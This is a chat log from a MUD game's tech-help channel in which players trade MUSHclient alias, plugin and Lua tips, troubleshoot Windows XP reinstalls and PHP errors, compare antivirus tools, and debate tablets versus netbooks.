T3/r7/2013-01-30.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: anyone use winkle's spellup plugin? how to add 2nd clan skill?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Nundreek: File->Global Preferences->General    check "Spell checker"
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: Thank you!
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Cizra Tech: Is it possible to turn off colors in GMCP?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: Guys I have a problem. I need a life mission. A goal I can work for the rest of my life
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: smoke crack. then try to stop smoking crack
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Necsus Tech: create a nuke that only targets stupid people and prevents them from having kids
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: Come on guys
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Necsus Tech: nothing will take you your entire life to do unless it can't be done by you
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Could start by realizing the difference between gossip and tech.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: I use both
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: Necsus I don't get it
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Then use them both properly? There's your mission.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: help tech for information on what topics belong here.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: What if I start a strip club. But what would be the use of that
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Swirls of Rumour Tech: This doesn't belong tech, please move it to a more appropriate channel - thanks :)
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: hey guys i wanna play aardwolf at school but when i run it it doesnt connect to the internet
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Redryn Tech: possibly blocked
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: so im thinking they may have just blocked the port
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: know how to proxy?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Cizra Tech: Try some other ports, for starters.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Can you access aardwolf.com in browser?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: so i wasnt sure how to change its ports
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: i think i can access aardwolf.com
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Port then, not domain
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: How about you start studying and forget about Aard until you return home
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: how do i port?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: oh this is only during lunch break when i have nothing better to do with friends except chill out in the aircon
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: so how do i change the ports aardwolf runs off
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: is there anyway i can change the port aardwolf mud is running off...
T3/r7/2013-01-30.txt.gz:{chan ch=tech}RedRain Tech: no I dont think so
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: dammit
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: You can't change the ports Aardwolf runs.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: You can use either 23, 4000, or 4010.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: So, you'll need to change the port in your client. Or you can SSH into a home computer, or barring that, use Teamviewer to remotely access a home computer and play that way.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: how do i change it between those three ports
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: Mushclient?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: i have thought about using teamviewer, but it is wayyy to laggy
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: yea mushclient
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: alt+1
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Narhtan Tech: sweet, so 23, 4000, and 4010 are the only ports that work?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: The information is in 'help ip'. 23 is open to allow telnet users blocked behind firewalls. :p
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: How do people configure this mapper for all these portals when they're dual wielding?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: nvm, portal wish
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: fml
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: No, aliases and variables.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: nah, it's what i said, lol
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Wat?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: I have the portal wish, it changed my mapper configuration by a sum total of 0. I changed 1 line of an alias, though
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: Well do you have your mapper set with all your portals?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: All 97 of them so far
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: What's your alias, if you don't mind me asking?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Redryn Tech: write a script with a function to swap stuff
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Redryn Tech: inputting the name of the portal
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Redryn Tech: then you just make generic aliases for each area which maps area -> portal name
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Before I changed to a script which became far more complicated (but only 1 for all portals/areas), the aliases I used followed this format: get 57176502 16024507;hold 57176502;enter;remove 57176502;put 57176502 16024507;ual 763987018
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Hrm. My auto-variable expander made that far more odd :-P
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Let's try that again.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Before I changed to a script which became far more complicated (but only 1 for all portals/areas), the aliases I used followed this format: get 57176502 16024507;hold 57176502;enter;remove 57176502;put 57176502 16024507;ual 763987018
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: you can use your SN to equip stuff?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: nope
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Dammit. The plugin is disabled yet still active o.0
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you can use the SN to get/equip at least some things, yes
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's especially useful with bags
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Before I changed to a script which became far more complicated (but only 1 for all portals/areas), the aliases I used followed this format: get ortalAcademy agPortal;hold ortalAcademy;enter;remove ortalAcademy;put ortalAcademy agPortal;oldItem
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: I give up.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: got it, Vakieh.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: I mean what I'm doing now would be perfect if I had the portal wish.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: Can't say that's super high on my priorities at the moment, though.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Would it, though? There are only a select few portals I would want to run around wearing all the time
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: Not wearing it all the time, you can teach the mapper to go into whatever portal will give you the shortest path to your destination
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Right, but what does it do with the portal in the mean time?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: You wear it, then enter it, then what?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: then I have a trigger set to put my favored portal back on
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Noodlez Tech: which now is the alyorian academy one, later will be amulet of aard
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Trust me when I say the most elegant solution works independently of the portal wish
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: get @portalAcademy @bagPortal;hold @portalAcademy;enter;remove @portalAcademy;put @portalAcademy @bagPortal;@holdItem
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: is that right, Vakieh?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Thanks Lacri :-P I have too many 'helpful' things running it seems
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Now 'holditem' is the key variable there - it holds not an id, but a whole command. Can wear a hold item, rewield a dual weapon, OR (once you have the portal wish) re-equip a higher-statted portal
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: mine's similar, though instead of the remove portalAcademy I have it set to wear (xxxxxx) so it puts my aardportal back on
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: nice, Vakieh... that'd be handy
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: how'd you manage to code that part?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: since it IS a little more complicated
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: No need for code - mush doesn't care if the variable holds a whole command or not - set an alias to expand variables, and then store the command in full in the variable
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Can try it now - make an alias 'TestAlias', which sends '@testvariable'. Inside '@testvariable', place a command, like 'echo Vakieh is awesome'
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Be sure to check the 'expand variables' box in the alias window
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: so to make a portal script that rewears whatever you just took off to put that portal on... I'm going to guess you need to catch the item you removed to a variable?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: I don't capture, I just reset manually when I arrive at the appropriate levels (well, before I went Lua with it all I did)
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: So for most people would go aard amulet, glad portal, kai portal.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Easy enough to trigger on, though, but capturing keywords is difficult. Could try invmon, but manual is simpler
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I'd think invmon should be fairly simple
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Arikhan Tech: Who's up for poker
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yeah, you can just capture the id from invmon and use it, just tested manually
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: This again Arikhan? Surely one imm slapdown is sufficient?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Arik, seriously, keep to channel topics. This one is for client help and occasionally computer/coding discussions
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Severus Tech: will the aardwolf mushclient work with win 8?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Lady Trisha Tech: yes
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Lady Trisha Tech: I had no problems with the client on a friends win 8 laptop no.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Severus Tech: cool, thanks Trisha
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Severus Tech: I'll give it a try on my desktop later on today then
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Lady Trisha Tech: Just put it in it's own directory and shouldn't have no problems.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Anyone have any idea why, when using PHP, i can use mysqli to bind, prepare, execute, etc. But when I do $stmt->get_result() I get the error "Call to undefined method mysqli_stmt::get_result()"
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Ymerd Tech: mysqli_stmt :: get_result is Available only with mysqlnd. ?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's included.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Or not, looks like it got rolled back to our libmysql
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger buries his face in his hand and sighs, shaking his head.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Crevan Tech: Anyone know how to reset your smaller windows in Mushclient? Got a mini window with the top of it off screen so I can't move it or resize it
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: try resetaard
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Crevan Tech: Tried resetaard, I guess it is another Plugin creating the window.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nuanse Tech: have you installed basts plugins? 
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nuanse Tech: plugins miniwin. and work your way through there :)
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Crevan Tech: Not sure. A buddy put this on my netbook to play with. Will check it out
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Mmmmm. Netbook. Which one you have? 
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Crevan Tech: Just a little Dell Inspiron Mini
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: How do you like it?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Ontuct Tech: I can understand netbooks, but can't see the rage in tablets
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Crevan Tech: Love its mobility. Love having a keyboard. (downside of a lot of tablets)
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Just different purposes, Ontuct. Tablets are consumption devices
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: primarily, anyway
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Don't need a keyboard if all you do is read ebooks/derp on youtube/etc.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: tablet plus bluetooth keyboard = functional environment for just about anything, with better battery life than a netbook
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that's true too, Daloran
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Nod.. I'm with you there Lac.. but KB+Tablet is usually more cumbersome, excepting things like the Transformer / MS Surface
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Crevan Tech: Wife has a setup like that. It works for her. I like a little bit more control without rooting. Still a programer of sorts.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Only issue with tablets.. at least android/ios is just lack of a lot of desktop software. It'd make them a lot more appealing if say, the entire office suite was available on ios/android. For most people, anyway
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I just throw the keyboard in my backpack and then I have it if I want to do typing beyond a few short sentences. Typing on a touchscreen is not functional for me.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Google apps
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Google apps is not office.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: while it's close enough for a lot of people, it's definitely not 1:1. Also until recently, there was no offline mode for them
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: no, but it's intercompatible with Office, and 95% of the stuff someone wants to do in Office can be done there--the 5% that can't are specialized things that even people who work with Office on a daily basis don't have to use more than once or twice a month
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: True enough.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Google apps doesn't have a replacement for Onenote unfortunately. And Gmail vs Exchange... well, I'm not saying exchange is better - but it's definitely more ingrained in peoples minds
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: For those few situations, it won't work as easily, but you can still write emails/papers/etc on them.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: I'm sorry. Gmail vs outlook. Grabbed for the wrong word.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: There are also lots of good tablet games out there, and Photoshop and InDesign and a few others have tablet compatibility as well. 
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tigernuts Tech: outlook doesn't guarantee Google snooping your details to sell on to tom, dick, harry and the nsa
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tigernuts Tech: outlook is, however, awful
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it's all bloat nowadays
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Yeah, everyone seems to love Outlook...and it's awful.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Nod. I'm not saying its a good product - only that Outlook on tablet would likely increase its, at least perceived, usefulness as a productivity device.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: If they put outlook on my tablet, they better make an easy way for me to remove it, too
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tech: Laughing Lacrimosa nods at Big Meaty Cheezburger.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: on the other hand, I love the hell out of onenote, and I really wish there was a fully functional android version.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: I doubt you'd find it preinstalled on tablets any more then you find windows machines coming bundled with it
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Daloran: Evernote doesn't do the same thing as OneNote?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Not really, unfortunately
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Not exactly
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's a close second, but definitely second.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tech: Book of Etzli has never used Onenote, and rarely uses Evernote, so... 
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Nod. First drawback is evernote requires internet access. =p
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I hear one of the propsed updates'll remove that.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Unless I'm mistaken, evernote also doesn't have a way of using stylus input
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: it does, but it depends on the device running it's compatibility.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Nod, same would be true for onenote, outside of Tablet PCs 
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: But heck, even if a tablet like the Galaxy Note came prebundled with it... well, if it did I'd have picked one up already
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Worth it without it prebundles, IMO
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: prebundled*
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Daloran Tech: Maybe. But I would need the app anyway. Without it, or something equivlent, my desire for it is mediocre at best.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Thunderax Tech: anyone use bast eqsets plugin?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Bast Tech: Thunderax: yes
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: So after running chkdsk and various other repair diagnostics from Hirens CD, then reformatting (full, not quick) my boot HD several times, I still get "missing file" errors from numerous .sys files while trying to reinstall XP...using four different (some original, some cloned) install discs
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Can I assume it's some sort of problem with the HDD itself?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: The 'odd' part is that Mint installed just fine on it
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: if you have funds enough to consider a new hdd, might be better to do that instead of trying to get an old one fixed.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Since im not getting any bios errors, nor problems when installing mint, I can assume I didn't accidentally change any master/slave jumper settings?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: did you move the jumpers or change change which plug on the data ribbon cable plugged into it?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Not consciously, it started having problems and re-installation errors even before I opened the case
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: Can I setup some kind of attacking macro or something for fighting made easy?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: macro, yes.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: probably shouldn't for other reasons, but at least it's legal.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}RedRain Tech: careful of the slippery slope towards botting.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Riddim Tech: "alias slaughter bash:bash:bash:bash:bash" is a long way from a bot, it's silly to pretend otherwise
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: Nothing that is auto. I'll be pressing the button but how to set it up.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tech: RedRain rapidly nods twice at Nunedreek, in complete agreement.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}RedRain Tech: feel free :)
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Riddim Tech: If it fires off commands and you stay in one room, you're fine. A stack of commands to clear an area isn't fine. Help botting is very cut and dry for most stuff.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}BobTheGreat Tech: Game->Configure->Macro
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: I'll see what I can do *bow*
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: What programming language would be good take a look at with mushclient to learn how to set up more advance things?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Bast Tech: lua
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Elkore Tech: lua
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Akuri Tech: lua
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: What I thought. Thanks.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mea Culpable Tech: Anyone let me know how to turn off parsing in MUSH?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Parsing of what? Can stop parsing ; by including one at the very beginning of a command entry
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Can turn off triggers, aliases and timers with a checkbox in their respective gui menus
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: does it make any remote sense to try to set up a Raid configuration to an external drive? or will that just be too ridiculously slow / impossible ?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Eutychus Tech: Why would you want to do that?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Backup? Or just do it as a scheduled?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Eutychus Tech: Like a raid1 with your internal drive?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Eutychus Tech: That would be silly, because you'd have to leave it plugged in and USB is much slower than SATA 3.0 or 6.0GB
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Eutychus Tech: I would just set up a RAID1 with two internal drives on your SATA channels, or just use an external with regular backup software.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: I just logged on and my map and mapper didnt load. First time this happen. Any idea what would cause that?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}SuperJayT Tech: restart the client?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: I'll give it a go and see what happens.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: This is odd. Both are not working now.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define not working
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Okay now that I have a fresh install of XP, any tips on keeping it lean and mean? Besides not downloading junk, using Diskeeper/defrag, Sandboxie, etc.?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: don't download junk
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: AVG or Antivira ? Spybot or Malwarebytes? 
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vaerion Tech: Avast Antivirus.  :)  
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: AVG is total junk now, so ruined with bloat.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Hehe, meant Avira anyway...avast ?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Lulz Tech: Malwarebytes is still reliable.  In terms of antivirus, I've always used Avira.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Windows defender, ccleaner, and malwarebytes
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Severus Tech: Kaspersky
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Lulz Tech: Windows Defender? Wait, Windows is good now? Since when?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: avira is a pos right now
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: Windows Defender is the best antivirus I have ever seen
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Gonf Tech: since they bought another company? :p
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ewww there is writing stuffs in there
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mis
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Lulz Tech: I'm not tech savvy, so I'm clueless as to what company they would have bought.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vakieh Tech: They didn't buy another company for it, it was all inhouse
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: And to be clear, when you say junk, you're talking all the toolbars and stuff like that? Not little programs from small developers like f.Lux and JDarkRoom ?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: it stopped catching stuff for me.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Zade Tech: what type of "bloat" ruined AVG, perhaps the bloat was unavoidable   
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Fordin Tech: how to use triggers on pocket mud?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Best free firewall? Comodo or just Windows?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Mushambo Tech: Virtual machines are more comprehensive than sandboxing, but require another full OS install?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Strazor Tech: Anyone familar with XML?  Can XML handles queries based on ranges (ie: 1 - 10) and report back that information based on variables (Ie: color etc)?
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Hanslanda Tech: xml is just a transport language, didn't think it could actually do anything
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Straeldryn Tech: xpath might do what you want
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Strazor Tech: Thanks.  Xpath looks like the right idea.  I don't need to create a relational database but I do need to compare data.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nunedreek Tech: I have been seeing other people talk about more plugins. I use mushclient. Where do I find them so I can read up on them?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Tech: finger bast for a bunch
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nunedreek Tech: Thanks
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Is there currently a way to get the inv details of all items in a bag? I have 'give all self' to grab the invmon for all items in inv, looking to do the same with bag contents
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: Inv sort, Vakieh? is that wht you're after?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: invsort, rather
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Nah, looking to grab info like uid and name
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Noodlez Tech: id
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Ixle Tech: invdata <container> ?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: Ah, thats what i was after. not invsort
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Osnap Ixle with the goods :-P Thanks
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Tech: Ixle flexes his muscles...what a stud!?!
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Now I have that sorted, does anyone have experience leveraging python for Mush? The more I work with that language the more I love it, but lua seems more integrated
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: No specific question to ask on it, just wondering whether anyone has had success with it
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Mokg Tech: works fine on zmud. shrug
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Any way to grab *potential* wear-loc from unworn items?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: invdata shows it. 
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: oh wait
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Only if it is equipped - any unequipped shows wear-loc of -1
